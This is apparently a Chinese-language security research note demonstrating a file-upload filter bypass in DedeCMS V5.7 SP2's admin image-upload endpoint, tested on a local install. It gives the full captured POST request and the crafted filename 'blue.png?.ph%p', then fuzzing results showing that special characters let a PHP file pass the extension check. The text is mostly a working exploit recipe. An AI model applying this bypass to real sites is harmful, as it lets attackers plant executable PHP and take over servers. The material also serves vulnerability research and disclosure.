测试环境
Windows+PHPStudy(php5.5.38+Apache)
测试程序
http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz
测试过程
下载官方程序包,安装好、进后台---内容管理---商品---添加文档
抓包
POST /DedeCMS-V5.7-UTF8-SP2/include/dialog/select_images_post.php?CKEditor=body&CKEditorFuncNum=2&langCode=zh-cn HTTP/1.1
Host: 127.0.0.1
Content-Length: 2490
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytQSXCJKY9KidXbNm
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/dede/archives_add.php?channelid=6&cid=0
Accept-Language: zh-CN,zh;q=0.8
Cookie: bdshare_firstime=1498015490095; 0ju_cookietime=2592000;
Connection: close
------WebKitFormBoundarytQSXCJKY9KidXbNm
Content-Disposition: form-data; name="upload"; filename="blue.png"
Content-Type: image/png
修改filename: blue.png?.ph%p 提交
Fuzzing
现在对后缀名进行fuzz,特殊字符
! @ # $ % ^ & * ( ) < > ? / , ; : ' " [ ] { } + = - ~ `
- 【?】.ph%p
对这个位置进行fuzz发现任意特殊字符都可以绕过上传php
- ?.ph【%】p
测试发现,系统对这个位置的字符会进行url编码,并且会吃掉【%】
【<】--->【%3c】--->吃掉%--->php